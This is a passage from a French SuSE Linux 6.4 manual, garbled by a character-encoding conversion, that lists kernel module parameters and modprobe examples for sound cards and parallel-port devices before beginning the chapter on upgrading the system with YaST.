  25434.                                  Supporte OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930
  25435.                                  et OPTi 82C924.
  25436.                                  _______________________________________
  25437.                                  |__ParamΦtres__|_______Valeurs_____|____
  25438.  
  25439.                                  |  io                 |<addr>         |
  25440.                                  |  irq                |<irq>          |
  25441.                                  |  dma                |<dma>          |
  25442.                                  |__dma16______________|<dma2>_________|_
  25443.  
  25444.                                  Exemple :    modprobe  mad16  io=0x530  irq=7  dma=0  dma16=1
  25445.  
  25446.  
  25447.                              ~   Turtle Beach Maui et Tropez
  25448.  
  25449.                                  Nom du module : maui.o
  25450.  
  25451.                                  _______________________________________
  25452.                                  |__ParamΦtres__|_______Valeurs_____|____
  25453.  
  25454.                                  |  io                 |<addr>         |
  25455.                                  |__irq________________|<irq>__________|_
  25456.  
  25457.                                  Exemple :    modprobe  maui  io=0x530  irq=5
  25458.  
  25459.  
  25460.                              ~   MPU401
  25461.  
  25462.                                  Nom du module : mpu401.o
  25463.  
  25464.                                  _______________________________________
  25465.                                  |__ParamΦtres__|_______Valeurs_____|____
  25466.  
  25467.                                  |__io_________________|<addr>_________|_
  25468.  
  25469.                                  Exemple :    modprobe  mpu401  io=0x330
  25470.  
  25471.  
  25472.                              ~   Turtle Beach MultiSound
  25473.  
  25474.                                  Nom du module : msnd.o
  25475.  
  25476.                                  Exemple :    modprobe  msnd
  25477.  
  25478.  
  25479.                              ~   Turtle Beach Classic/Monterey/Tahiti
  25480.  
  25481.                                  Nom du module : msnd_classic.o
  25482.  
  25483.                                  _____________________________________________________
  25484.                                  |__ParamΦtres_________________|______Valeurs_____|____
  25485.  
  25486.                                  |  io                               |<addr>          |
  25487.                                  |  irq                              |<irq>           |
  25488.                                  |  mem                              |                |
  25489.                                  |  write_ndelay                     |                |
  25490.                                  |  major                            |                |
  25491.                                  |  fifosize                         |                |
  25492.                                  |__calibrate_signal_________________|________________|
  25493.  
  25494.                                  Exemple :    modprobe  msnd_classic  io=0x290  irq=7  mem=0xd0000
  25495.  
  25496.  
  25497.                              ~   Turtle Beach Pinnacle/Fiji
  25498.  
  25499.                                  Nom du module : msnd_pinnacle.o
  25500.  
  25501.  
  25502. 394
  25503.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  25504.  *____________________
  25505.  
  25506.  
  25507.  
  25508.     En  plus  des  paramΦtres  de  Turtle  Beach  Classic/Monterey/Tahiti  (para-
  25509.     graphe 14.3.4 page prΘcΘdente), cette carte supporte aussi :
  25510.      __________________________________________
  25511.      ||__ParamΦtres_______|_____Valeurs__|______
  25512.  
  25513.      ||  digital                |            |
  25514.      ||  cfg                    |            |
  25515.      ||  reset                  |            |
  25516.      ||  mpu_io                 |            |
  25517.      ||  mpu_irq                |            |
  25518.      ||  ide_io0                |            |
  25519.      ||  ide_io1                |            |
  25520.      ||  ide_irq                |            |
  25521.      ||__joystick_io____________|____________|_
  25522.  
  25523.     Exemple :    modprobe  msnd_pinnacle  cfg=0x250  io=0x290  irq=5
  25524.                       mem=0xd0000
  25525.  
  25526.  
  25527. ~   OPL3
  25528.  
  25529.     Nom du module : opl3.o
  25530.  
  25531.      ________________________________________
  25532.      ||__ParamΦtres__|_____Valeurs_____|______
  25533.  
  25534.      ||__io________________<|addr>________|__
  25535.  
  25536.     Exemple :    modprobe  opl3  io=0x388
  25537.  
  25538.  
  25539. ~   OPL3-SA1
  25540.  
  25541.     Nom du module : opl3sa.o
  25542.  
  25543.      ________________________________________
  25544.      ||__ParamΦtres__|_____Valeurs_____|______
  25545.  
  25546.      ||  io                <|addr>        |
  25547.      ||  irq               <|irq>         |
  25548.      ||  dma               <|dma>         |
  25549.      ||  dma2              <|dma2>        |
  25550.      ||  mpu_io            <|addr>        |
  25551.      ||__mpu_irq___________<|irq>_________|__
  25552.  
  25553.     Exemple :    modprobe  opl3sa  io=0x530  irq=11  dma=0  dma2=1
  25554.                       mpu_io=0x330  mpu_irq=5
  25555.  
  25556.  
  25557. ~   YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx
  25558.  
  25559.     Nom du module : opl3sa2.o
  25560.  
  25561.      ________________________________________
  25562.      ||__ParamΦtres__|_____Valeurs_____|______
  25563.  
  25564.      ||  io                <|addr>        |
  25565.      ||  irq               <|irq>         |
  25566.      ||  dma               <|dma>         |
  25567.      ||  dma2              <|dma2>        |
  25568.      ||  mss_io            <|addr>        |
  25569.      ||__mpu_io____________<|addr>________|__
  25570.  
  25571.                                                                                                                                    *
  25572.  * 395
  25573. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  25574.  *_______________________________________@
  25575.  
  25576.  
  25577.  
  25578.                                  Exemple :    modprobe  opl3sa2  io=0x370  irq=7  dma=0  dma2=3
  25579.                                                    mss_io=0x530  mpu_io=0x330
  25580.  
  25581.  
  25582.                              ~   Pro Audio Spectrum
  25583.                                  Nom du module : pas2.o
  25584.                                  _______________________________________________________
  25585.                                  |__ParamΦtres_________________|______Valeurs_______|____
  25586.  
  25587.                                  |  io                               |<addr>            |
  25588.                                  |  irq                              |<irq>             |
  25589.                                  |  dma                              |<dma>             |
  25590.                                  |  dma16                            |<dma16>           |
  25591.                                  |  sb_io                            |<addr>            |
  25592.                                  |  sb_irq                           |<irq>             |
  25593.                                  |  sb_dma                           |<dma>             |
  25594.                                  |  sb_dma16                         |<dma16>           |
  25595.                                  |  joystick                         |                  |
  25596.                                  |  symphony                         |                  |
  25597.                                  |  broken_bus_clock                 |                  |
  25598.                                  |___________________________________|__________________|
  25599.  
  25600.  
  25601.                              ~   Personal Sound System (ECHO ESC614)
  25602.                                  Nom du module : pss.o
  25603.                                  _________________________________________________
  25604.                                  |__ParamΦtres___|_______Valeurs______________|____
  25605.  
  25606.                                  |  pss_io              |<addr>                  |
  25607.                                  |  mss_io              |<addr>                  |
  25608.                                  |  mss_irq             |<irq>                   |
  25609.                                  |  mss_dma             |<dma>                   |
  25610.                                  |  mpu_io              |<addr>                  |
  25611.                                  |  mpu_irq             |<irq>                   |
  25612.                                  |__pss_mixer___________|1__(activer)_ou_0___|____
  25613.  
  25614.  
  25615.                              ~   Sound Blaster et clones
  25616.                                  Nom du module : sb.o
  25617.                                  __________________________________________________________________________
  25618.                                  |__ParamΦtres___|_______Valeurs_______________________________________|____
  25619.  
  25620.                                  |  io                  |<addr>                                           |
  25621.                                  |  irq                 |<irq>                                            |
  25622.                                  |  dma                 |<dma>                                            |
  25623.                                  |  dma16               |<dma16>                                          |
  25624.                                  |  mpu_io              |<addr>                                           |
  25625.                                  |  mad16               |1  (activer)                                   |
  25626.                                  |  trix                |1  (activer)                                   |
  25627.                                  |  pas2                |1  (activer)                                   |
  25628.                                  |  sm_games            |1  (activer)                                   |
  25629.                                  |  acer                |1  (activer), avec notebooks Acer  |
  25630.                                  |__mwave_bug___________|1__(activer)___________________________________|__
  25631.  
  25632.                                  Exemple :    modprobe  sb  io=0x220  irq=5  dma=1  dma16=5  mpu_io=0x330
  25633.  
  25634.  
  25635. 396
  25636.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  25637.  *____________________
  25638.  
  25639.  
  25640.  
  25641. ~   Aztech Sound Galaxy
  25642.     Nom du module : sgalaxy.o
  25643.      ________________________________________
  25644.      ||__ParamΦtres__|_____Valeurs_____|______
  25645.  
  25646.      ||  io                <|addr>        |
  25647.      ||  irq               <|irq>         |
  25648.      ||  dma               <|dma>         |
  25649.      ||  dma2              <|dma2>        |
  25650.      ||__sgbase_____________|_____________|__
  25651.  
  25652.  
  25653. ~   S3 Sonic Vibes
  25654.     Nom du module : sonicvibes.o
  25655.     Aucun paramΦtre.
  25656.  
  25657.  
  25658. ~   Ensoniq SoundScape
  25659.     Nom du module : sscape.o
  25660.      ________________________________________
  25661.      ||__ParamΦtres__|_____Valeurs_____|______
  25662.  
  25663.      ||  io                <|addr>        |
  25664.      ||  irq               <|irq>         |
  25665.      ||  dma               <|dma>         |
  25666.      ||  mss                |             |
  25667.      ||  mpu_io            <|addr>        |
  25668.      ||  mpu_irq           <|irq>         |
  25669.      ||__spea______________1|_____________|__
  25670.  
  25671.  
  25672. ~   MediaTrix AudioTrix Pro
  25673.     Nom du module : trix.o
  25674.      ________________________________________
  25675.      ||__ParamΦtres__|_____Valeurs_____|______
  25676.  
  25677.      ||  io                <|addr>        |
  25678.      ||  irq               <|irq>         |
  25679.      ||  dma               <|dma>         |
  25680.      ||  dma2              <|dma2>        |
  25681.      ||  sb_io             <|addr>        |
  25682.      ||  sb_irq            <|irq>         |
  25683.      ||  sb_dma            <|dma>         |
  25684.      ||  mpu_io            <|addr>        |
  25685.      ||__mpu_irq___________<|irq>_________|__
  25686.  
  25687.  
  25688. ~   UART401
  25689.     Nom du module : uart401.o
  25690.      ________________________________________
  25691.      ||__ParamΦtres__|_____Valeurs_____|______
  25692.  
  25693.      ||  io                <|addr>        |
  25694.      ||__irq_______________<|irq>_________|__
  25695.  
  25696.     Exemple :    modprobe  io=0x330  irq=9
  25697.  
  25698.  
  25699.                                                                                                                                    *
  25700.  * 397
  25701. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  25702.  *_______________________________________@
  25703.  
  25704.  
  25705.  
  25706.                              ~   UART6850
  25707.                                  Nom du module : uart6850.o
  25708.  
  25709.                                  _______________________________________
  25710.                                  |__ParamΦtres__|_______Valeurs_____|____
  25711.  
  25712.                                  |  io                 |<addr>         |
  25713.                                  |__irq________________|<irq>__________|_
  25714.  
  25715.  
  25716.                              ~   Chipsets carte son DSP
  25717.                                  Nom du module : v_midi.o
  25718.                                  Aucun paramΦtre.
  25719.  
  25720.  
  25721.                              ~   Turtle Beach Maui, Tropez, Tropez Plus
  25722.                                  Nom du module : wavefront.o
  25723.                                  _______________________________________
  25724.                                  |__ParamΦtres__|_______Valeurs_____|____
  25725.  
  25726.                                  |  io                 |<addr>         |
  25727.                                  |__irq________________|<irq>__________|_
  25728.  
  25729.                                  Exemple :    modprobe  wavefront  io=0x200  irq=9
  25730.  
  25731.  
  25732.                            Les ports parallΦles
  25733.  
  25734.   Port parallΦle           L'utilisation  des ports parallΦles est assez complexe. AprΦs la configuration,
  25735.                            vous avez un sous-systΦme α disposition (voir paragraphe 10.4.3 page 307).
  25736.  
  25737.                              ~   Port parallΦle
  25738.                                  Nom du module : parport.o
  25739.                                  Exemple :    modprobe  parport
  25740.  
  25741.  
  25742.                              ~   Port parallΦle ~ Architecture spΘcifique
  25743.                                  Nom du module : parport_pc.o
  25744.                                  _______________________________________
  25745.                                  |__ParamΦtres__|_______Valeurs_____|____
  25746.  
  25747.                                  |  io                 |<addr>         |
  25748.                                  |__irq________________|<irq>__________|_
  25749.  
  25750.                                  Pour  installer  par  exemple  3  ports  en  style  PC,  ayant  respectivement
  25751.                                  l'adresse 0x3bc     sans IRQ, l'adresse 0x378     avec IRQ 7 et l'adresse 0x278
  25752.                                  avec IRQ dΘtectΘ automatiquement, vous tapez (en une seule ligne !) :
  25753.                                  Exemple :    modprobe  parport_pc  io=0x3bc,0x378,0x278
  25754.                                                    irq=none,7,auto
  25755.  
  25756.  
  25757.                              ~   Pilote d'imprimante
  25758.                                  Nom du module : lp.o
  25759.                                  _______________________________________
  25760.                                  |__ParamΦtres__|_______Valeurs_____|____
  25761.  
  25762.                                  |__parport____________|<port>_________|_
  25763.  
  25764.                                  Exemple :    modprobe  lp  parport=0,2
  25765.  
  25766.  
  25767. 398
  25768.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  25769.  *____________________
  25770.  
  25771.  
  25772.  
  25773. ~   PΘriphΘriques IDE sur port parallΦle
  25774.     Nom du module : paride.o
  25775.  
  25776.     Si  vous  voulez  utiliser  des  chaεnes  de  pΘriphΘriques  Paride  sur  un  port
  25777.     parallΦle,  il  vous  faudra  tout  d'abord  charger  parport.o  (voir  para-
  25778.     graphe 14.3.4 page prΘcΘdente) !
  25779.  
  25780.     Exemple :    modprobe  paride
  25781.  
  25782.     Le port parallΦle devrait si possible Ωtre utilisΘ en ``mode EPP''. Configurer
  25783.     donc ce mode dans le +  BIOS de votre machine.
  25784.  
  25785.  
  25786. ~   Pilotes de protocoles IDE de bas niveau sur port parallΦle
  25787.  
  25788.     Nom du module : <xxxx>.o
  25789.           ______________________________________________________________________________________________
  25790.           |__Protocole__|______PΘriphΘrique_____________________________________________________________|_
  25791.  
  25792.           |__aten____________|_ATEN_EH-100____________________________________________________(HK)___|__
  25793.           |__bpck____________|_Microsolutions_backpack________________________________________(US)___|__
  25794.           |__comm____________|_DataStor_(old-type)_÷c_mmuterΣ__dapter_________________________(TW)__|___
  25795.           |__dstr____________|_DataStor_EP-2000_______________________________________________(TW)__|___
  25796.           |__epat____________|_Shuttle_EPAT___________________________________________________(UK)___|__
  25797.           |__epia____________|_Shuttle_EPIA___________________________________________________(UK)___|__
  25798.           |__fit2____________|_FIT_TD-2000____________________________________________________(US)___|__
  25799.           |__fit3____________|_FIT_TD-3000____________________________________________________(US)___|__
  25800.           |__friq____________|_Freecom_IQ_cable_______________________________________________(DE)___|__
  25801.           |__frpw____________|_Freecom_Power__________________________________________________(DE)___|__
  25802.           |__kbic____________|_KingByte_KBIC-951A_and_KBIC-971A_______________________________(TW)__|___
  25803.           |__ktti____________|_KT_Technology_PHd_adapter______________________________________(SG)___|__
  25804.           |__on20____________|_OnSpec_90c20___________________________________________________(US)___|__
  25805.           |__on26____________|_OnSpec_90c26___________________________________________________(US)___|__
  25806.  
  25807.     Exemple :    modprobe  epat
  25808.  
  25809.  
  25810. ~   Disque dur IDE sur port parallΦle
  25811.  
  25812.     Nom du module : pd.o
  25813.  
  25814.      ________________________________________
  25815.      ||__ParamΦtres__|_____Valeurs_____|______
  25816.  
  25817.      ||__verbose___________<|wert>________|__
  25818.  
  25819.     Chargez  tout  d'abord  parport        et  le  pilote  de  bas  niveau  (voir  para-
  25820.     graphe 14.3.4).
  25821.  
  25822.     Exemple :    modprobe  pd  verbose=1
  25823.  
  25824.  
  25825. ~   CD-ROM ATAPI sur port parallΦle
  25826.  
  25827.     Nom du module : pcd.o
  25828.  
  25829.     Chargez  tout  d'abord  parport        et  le  pilote  de  bas  niveau  (voir  para-
  25830.     graphe 14.3.4).
  25831.  
  25832.     Exemple :    modprobe  pcd
  25833.  
  25834.  
  25835. ~   Lecteur de disquettes ATAPI sur port parallΦle
  25836.  
  25837.  
  25838.                                                                                                                                    *
  25839.  * 399
  25840. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  25841.  *_______________________________________@
  25842.  
  25843.  
  25844.  
  25845.                                  Nom du module : pf.o
  25846.                                  Chargez  tout  d'abord  parport        et  le  pilote  de  bas  niveau  (voir  para-
  25847.                                  graphe 14.3.4 page prΘcΘdente).
  25848.  
  25849.                                  Exemple :    modprobe  pf
  25850.  
  25851.  
  25852.                              ~   Lecteur de bandes ATAPI sur port parallΦle
  25853.  
  25854.                                  Nom du module : pt.o
  25855.  
  25856.                                  Chargez  tout  d'abord  parport        et  le  pilote  de  bas  niveau  (voir  para-
  25857.                                  graphe 14.3.4 page prΘcΘdente).
  25858.  
  25859.                                  Exemple :    modprobe  pt
  25860.  
  25861.  
  25862.                              ~   PΘriphΘrique gΘnΘrique ATAPI sur port parallΦle
  25863.  
  25864.                                  Nom du module : pg.o
  25865.  
  25866.                                  Chargez  tout  d'abord  parport        et  le  pilote  de  bas  niveau  (voir  para-
  25867.                                  graphe 14.3.4 page prΘcΘdente).
  25868.  
  25869.                                  Exemple :    modprobe  pg
  25870.  
  25871. 400
  25872.  
  25873.  
  25874.  
  25875.  
  25876.                              SeptiΦme  partie
  25877.  
  25878.  
  25879. SuSE                    Linux   :   Mise   α   jour   et
  25880.  
  25881.  
  25882.  
  25883.                             particularitΘs
  25884.  
  25885.  
  25886.  
  25887.                                                                                                                                    *
  25888.  * 401
  25889.  
  25890.  
  25891.                                                                                                       Chapitre  15
  25892.            Mise   α   jour   du   systΦme   et   gestion
  25893.  
  25894.  
  25895.  
  25896.                                                                                  des   paquetages
  25897.  
  25898.  
  25899.  
  25900. 15.1        Mise α jour de SuSE        Linux
  25901.  
  25902.  
  25903. SuSE     Linux vous offre la possibilitΘ d'actualiser un systΦme dΘjα existant sans
  25904. avoir α procΘder α une nouvelle installation complΦte. Il faut toutefois faire
  25905. une diffΘrence entre l'actualisation de paquetages dΘterminΘs et une mise α
  25906. jour complΦte du systΦme.
  25907.  
  25908. Il est bien connu que les logiciels ``s'accroissent'' de version en version. Pour
  25909. cette raison il est conseillΘ de vΘrifier, α l'aide de df  , la place dΘjα occupΘe sur
  25910. les diffΘrentes partitions avant d'effectuer la mise α jour. Si vous avez l'im-
  25911. pression que cela risque d'Ωtre un peu trop juste, vous devrez absolument faire
  25912. exΘcuter une sauvegarde et repartitionner votre disque. Il n'est pas possible
  25913. de donner une indication d'ordre gΘnΘral au sujet de l'espace disque nΘcessitΘ
  25914. dans chaque cas ~ cela dΘpend du partitionnement qui a dΘjα ΘtΘ fait et des
  25915. logiciels sΘlectionnΘs ainsi que de la version α partir de laquelle vous passez
  25916. α SuSE     Linux 6.4.
  25917.        _______________________________________________________________________________________________________________________||
  25918.        ||||||||  Il  est  recommandable  de  lire  le  fichier  README  ou,  sous  DOS/Windows,                 |||            |
  25919.        ||||||||  le fichier README.DOS. Nous y notons les modifications qui sont venues                         ||             |
  25920.        ||||||||                                                                                                 ||             |
  25921.        ||||||||  s'ajouter aprΦs la mise sous presse du manuel !                                                ||             |
  25922.        ||||||||_______________________________________________________________________________________________________________||_
  25923.  
  25924.  
  25925. 15.1.1       Travaux prΘliminaires
  25926.  
  25927. Avant  le  dΘbut  d'une  mise  α  jour,  il  conviendrait,  pour  plus  de  sΘcuritΘ,  de
  25928. copier les anciens fichiers de configuration sur un support sΘparΘ (lecteur de
  25929. bandes,  disque  amovible,  disquettes,  lecteur  ZIP).  Il  s'agit  en  tout  premier
  25930. lieu des fichiers contenus dans /etc. Par ailleurs, les fichiers de configuration
  25931. situΘs  au  dessous  de  /var/lib  devront  aussi  Ωtre  contr⌠lΘs  (par  exemple
  25932. pour  les  news  ou  XDM ).  Il  pourraient  en  outre  s'avΘrer  utile  de  copier  les
  25933. donnΘes utilisateur actuelles contenues dans /home (le rΘpertoire personnel
  25934. de l'utilisateur) sur un support de sauvegarde.
  25935.  
  25936. Avant  de  commencer  la  procΘdure  de  mise  α  jour,  notez  le  nom  de  votre
  25937. partition racine (root). En lanτant la commande
  25938.  
  25939.       terre:  #  df  /
  25940.  
  25941.  
  25942.                                                                                                                                    *
  25943.  *   403
  25944. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  25945.  *_______________________________________@
  25946.  
  25947.  
  25948.  
  25949.                            vous  pourrez  connaεtre  le  nom  de  pΘriphΘrique  de  cette  partition.  Dans  ce
  25950.                            cas, la partition racine dont vous devez noter le nom serait /dev/sda3 ; voir
  25951.                            l'affichage 15.1.1.
  25952.  
  25953.                            ________________________________________________________________________________________________________*
  25954.  *________||
  25955.                            |       Filesystem  1024-blocks  Used  Available  Capacity  Mounted  on                                 *
  25956.  *         |
  25957.                            |                                                                                                       *
  25958.  *         |
  25959.                            |    /dev/sda3         4167999  3253471     698856         82%     /                                    *
  25960.  *         |
  25961.                            |    /dev/sda1              7496       1311         5785         18%     /boot                          *
  25962.  *         |
  25963.                            |                                                                                                       *
  25964.  *         |
  25965.                            |_______________________________________________________________________________________________________*
  25966.  *________ |
  25967.  
  25968.                                               affichage α l'Θcran 15.1.1: Vue d'ensemble avec df
  25969.  
  25970.  
  25971.                            L'affichage  montre  que  la  partition  /dev/sda3  est  montΘe  sous  /  dans  le
  25972.                            systΦme de fichiers.
  25973.                            ________________________________________________________________________________________________________*
  25974.  *________||
  25975.  
  25976.                            |  Avant  une  mise  α  jour  de  PostgreSQL   (paquetage  postgres),  il  est                          *
  25977.  *        ||||
  25978.                            |  conseillΘ,  en  rΦgle  gΘnΘrale,  de  procΘder  α  un  ``vidage''  (angl.  dump)  de                 *
  25979.  *        |||
  25980.                            |                                                                                                       *
  25981.  *        |||
  25982.                            |  la base de donnΘes ; voir page de man de pg_dump        (man  pg_dump         ). Ceci                *
  25983.  *        |||
  25984.                            |  n'est bien s√r nΘcessaire qui si vous avez effectivement utilisΘ PostgreSQL                          *
  25985.  *        |||
  25986.                            |                                                                                                       *
  25987.  *        |||
  25988.                            |  avant la mise α jour.                                                                                *
  25989.  *        |||
  25990.                            |_______________________________________________________________________________________________________*
  25991.  *________|||_
  25992.  
  25993.                            Maintenant, vous devez dΘcider si vous voulez effectuer la mise α jour avec le
  25994.                            programme YaST1       en mode texte ou avec YaST2  en mode graphique. Cette
  25995.                            dΘcision est trΦs simple : Si vous voulez mettre α jour un systΦme SuSE     Linux
  25996.                            antΘrieur α la version 6.0, vous devez choisir YaST1       et procΘder ainsi qu'il
  25997.                            est dΘcrit au paragraphe 15.1.3. La version 6.0 ou une version plus rΘcente
  25998.                            peut Ωtre mise α jour avec YaST2 .
  25999.  
  26000.  
  26001.                            15.1.2       Mise α jour avec YaST2
  26002.  
  26003.                            AprΦs les travaux prΘliminaires mentionnΘs au paragraphe 15.1.1 page prΘcΘ-
  26004.                            dente, amorcez comme il est dΘcrit au chapitre sur l'installation 2.1 page 15.
  26005.                            ________________________________________________________________________________________________________*
  26006.  *________||
  26007.                            |  Vous ne pouvez effectuer une mise α jour avec YaST2  qu'α partir d'une                               *
  26008.  *        ||||
  26009.                            |  version  SuSE     Linux  6.x.  Pour  des  versions  plus  anciennes  (par  exemple                   *
  26010.  *        |||
  26011.                            |                                                                                                       *
  26012.  *        |||
  26013.                            |  SuSE     Linux 5.3), vous devez utiliser YaST1      . Voir paragraphe 15.1.3.                        *
  26014.  *        |||
  26015.                            |_______________________________________________________________________________________________________*
  26016.  *________|||_
  26017.  
  26018.                            Si vous Ωtes arrivΘ au paragraphe 2.1.7 page 19, sΘlectionnez l'option `Mise
  26019.                            α  jour'.
  26020.  
  26021.  
  26022.                            15.1.3       Mise α jour avec YaST1
  26023.  
  26024.  
  26025.                            Mise α jour du systΦme de base
  26026.  
  26027.                            Comme au cours de l'actualisaton du systΦme de base les composants cen-
  26028.                            traux (par exemple les bibliothΦques) doivent Ωtre ΘchangΘs, il n'est pas pos-
  26029.                            sible d'effectuer cette opΘration pendant une exΘcution normale, c'est-α-dire
  26030.                            α partir d'un systΦme Linux qui tourne dΘjα.
  26031.  
  26032.                            Vous devez donc dΘmarrer l'environnement de mise α jour ~ en cas normal
  26033.                            avec  la  disquette  fournie  (disquette  d'amorτage)  ou  directement  en  entrant
  26034.  
  26035.  
  26036. 404
  26037.        _________________________________________________________________________________15.1.__Mise_α_jour_de_SuSE______Linux______*
  26038.  *______________________
  26039.  
  26040.  
  26041.  
  26042. manuel       α l'invite d'amorτage du noyau ainsi qu'il est dΘcrit de faτon dΘtaillΘe
  26043. au paragraphe 2.2.1 page 28.
  26044. Il s'agit essentiellement des Θtapes suivantes :
  26045.  
  26046.  1.   Tout de suite aprΦs l'amorτage du noyau α partir de la disquette d'amor-
  26047.       τage ou du CD de mise α jour, linuxrc sera lancΘ automatiquement.
  26048.  
  26049.  2.   Dans linuxrc il faudra alors, sous l'option du menu `Configurations',
  26050.       spΘcifier la langue, l'Θcran ainsi que le clavier et valider avec `Ok'.
  26051.  
  26052.  3.   Sous l'option du menu `Modules  du  noyau', les pilotes matΘriels nΘ-
  26053.       cessaires doivent maintenant Ωtre chargΘs (pour savoir exactement com-
  26054.       ment procΘder, reportez-vous α la description de linuxrc α la page 430).
  26055.  
  26056.  4.   Vous pourrez, par les options du menu `DΘmarrer  l'installation  /
  26057.       le  systΦme'  et  `DΘmarrer  l'installation',  passer  α  la  sΘlection
  26058.       du support source (voir page 432).
  26059.  
  26060.  5.   Ensuite linuxrc  chargera l'environnement de l'installation et ~ ainsi que
  26061.       vous l'avez choisi ~ YaST  sera lancΘ.
  26062.  
  26063. Dans  le  menu  d'entrΘe  de  YaST ,  sΘlectionnez  l'option  `Mise  α  jour  du
  26064. systΦme  Linux  existant'. YaST  tentera alors de dΘtecter la partition ra-
  26065. cine et vous prΘsentera le rΘsultat afin que vous fassiez un choix ou que vous
  26066. validiez. Dans la liste affichΘe, vous spΘcifierez votre partition racine qui est
  26067. celle que vous avez notΘe prΘcΘdemment (Exemple : /dev/sda3). Ainsi, vous
  26068. chargez YaST  de lire le contenu du ``vieux'' fstab situΘ sur cette partition ;
  26069. YaST  monte alors les systΦmes de fichiers qui y sont inscrits. SΘlectionnez
  26070. ensuite `Continuer'.
  26071.  
  26072. Lorsque vous serez revenu au menu principal avec |╔________|chap, ce sera au tour de
  26073. l'option `Mettre  α  jour  le  systΦme' (voir paragraphe 3.2 page 82). Le
  26074. systΦme que vous aviez jusqu'α prΘsent sera analysΘ par YaST  et le rΘsultat
  26075. de l'analyse sera affichΘ.
  26076.  
  26077. Ensuite,  les  composants  centraux  de  votre  systΦme  seront  actualisΘs  et  au
  26078. cours  de  cette  opΘration,  YaST  fera  automatiquement  une  sauvegarde  des
  26079. fichiers que vous avez modifiΘs depuis la derniΦre installation. Par ailleurs,
  26080. les  vieux  fichiers  de  configuration  seront  sauvegardΘs,  le  cas  ΘchΘant,  avec
  26081. l'extension  .rpmorig  ou  .rpmsave  (voir  paragraphe  15.3.1  page  416).  Il
  26082. sera  fait  dans  /var/adm/inst-log/installation-*  un  protocole  de  la
  26083. procΘdure d'installation qui pourra Ωtre relu α tout moment.
  26084.  
  26085.  
  26086. Mise α jour du reste du systΦme
  26087.  
  26088. Une fois le systΦme de base actualisΘ, vous arriverez dans un mode spΘcial
  26089. de mise α jour de YaST . Vous pourrez mettre α jour le reste du systΦme de la
  26090. maniΦre que vous souhaitez.
  26091.  
  26092. YaST  Θtablit deux listes dans lesquelles il vous sera proposΘ les paquetages
  26093. pour lesquels YaST  peut reconnaεtre de faτon autonome s'il est utile et pos-
  26094. sible de procΘder α une mise α jour - dans le cas, par exemple, o∙ un paque-
  26095. tage  dΘpendant  aurait  subi  une  modification,  ou  si  le  nouveau  paquetage  a
  26096. un numΘro de version supΘrieur. Dans la deuxiΦme liste, il vous sera montrΘ
  26097. les  paquetages  pour  lesquels  cela  prΘsente  des  difficultΘs  -  dans  le  cas,  par
  26098.  
  26099.  
  26100.                                                                                                                                    *
  26101.  *   405
  26102. 15.  Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
  26103.  *_______________________________________@
  26104.  
  26105.  
  26106.  
  26107.                            exemple, o∙ l'ancien paquetage aurait ΘtΘ stockΘ sans information concernant
  26108.                            sa version.
  26109.                            Dans ces deux listes, vous pourrez sΘlectionner ou dΘsΘlectionner α votre grΘ
  26110.                            les paquetages proposΘs pour la mise α jour. Lorsque vous dΘmarrerez la mise
  26111.                            α jour, les paquetages sΘlectionnΘs seront remplacΘs par la nouvelle version
  26112.                            correspondante et il sera fait Θgalement une sauvegarde de tous les fichiers
  26113.                            que vous avez modifiΘs depuis la derniΦre installation.
  26114.  
  26115.                            Lorsque  cette  opΘration  sera  effectuΘe,  vous  devrez  terminer  la  procΘdure
  26116.                            comme  pour  une  premiΦre  installation  normale.  Vous  devriez,  entre  autre,
  26117.                            sΘlectionner un nouveau noyau ; YaST  vous proposera cette option.
  26118.                            ________________________________________________________________________________________________________*
  26119.  *________||
  26120.                            |  Si vous avez l'habitude d'amorcer avec loadlin , vous devez bien s√r co-                             *
  26121.  *        ||||
  26122.                            |  pier le nouveau noyau et Θventuellement votre initrd dans le rΘpertoire                              *
  26123.  *        |||
  26124.                            |                                                                                                       *
  26125.  *        |||
  26126.                            |  loadlin de votre partition DOS !                                                                     *
  26127.  *        |||
  26128.                            |_______________________________________________________________________________________________________*
  26129.  *________|||_
  26130.  
  26131.                            Si vous ne voulez pas qu'aprΦs la mise α jour, lorsque le systΦme sera revenu
  26132.                            dans son mode de fonctionnement normal (runlevel standard, voir page 446),
  26133.                            YaST  soit tout de suite relancΘ automatiquement afin de terminer les opΘra-
  26134.                            tions dΘjα prΘparΘes par la mise α jour, vous devrez entrer, α l'invite d'amor-
  26135.                            τage :
  26136.                                  NO_AUTO_SETUP=true
  26137.  
  26138.                            Il  est  judicieux  de  faire  l'entrΘe  NO`AUTO`SETUP=yes,  pour  le  cas  o∙,
  26139.                            contre toute attente, des difficultΘs se prΘsenteraient lors de ce (nouveau) dΘ-
  26140.                            marrage du systΦme. De tels problΦmes peuvent survenir si vous intΘgrez des
  26141.                            ΘlΘments essentiels du systΦme Linux par le biais d'une carte SCSI PCMCIA.
  26142.                            Pour exΘcuter malgrΘ tout les travaux de configuration prΘvus, vous pouvez
  26143.                            parcourir les Θtapes suivantes :
  26144.  
  26145.                             1.   SpΘcifiez comme option lors de l'amorτage le paramΦtre suivant :
  26146.                                       NO_AUTO_SETUP=true
  26147.  
  26148.  
  26149.                             2.   Connectez-vous sous le compte `root' et lancez yast  ~nomenu           afin de
  26150.                                  faire effectuer les Θventuelles configurations.
  26151.  
  26152.                             3.   Lancez /lib/YaST/bootsetup.conf                       sous le compte `root' et laissez
  26153.                                  la commande s'ΘxΘcuter.
  26154.  
  26155.                            AprΦs cela, les choses seront comme elles l'auraient ΘtΘ si tout s'Θtait dΘroulΘ
  26156.                            normalement.
  26157.  
  26158.                            Dans un tel cas, l'utilisateur Linux expΘrimentΘ jugera peut-Ωtre prΘfΘrable de
  26159.                            ne pas revenir au niveau d'exΘcution (angl. runlevel) standard mais cherchera,
  26160.                            en  entrant  single       α  l'invite  d'amorτage,  de  passer  directement  en  mode
  26161.                            mono-utilisateur (runlevel 1).
  26162.  
  26163.  
  26164.                            15.1.4       Actualisation des paquetages
  26165.  
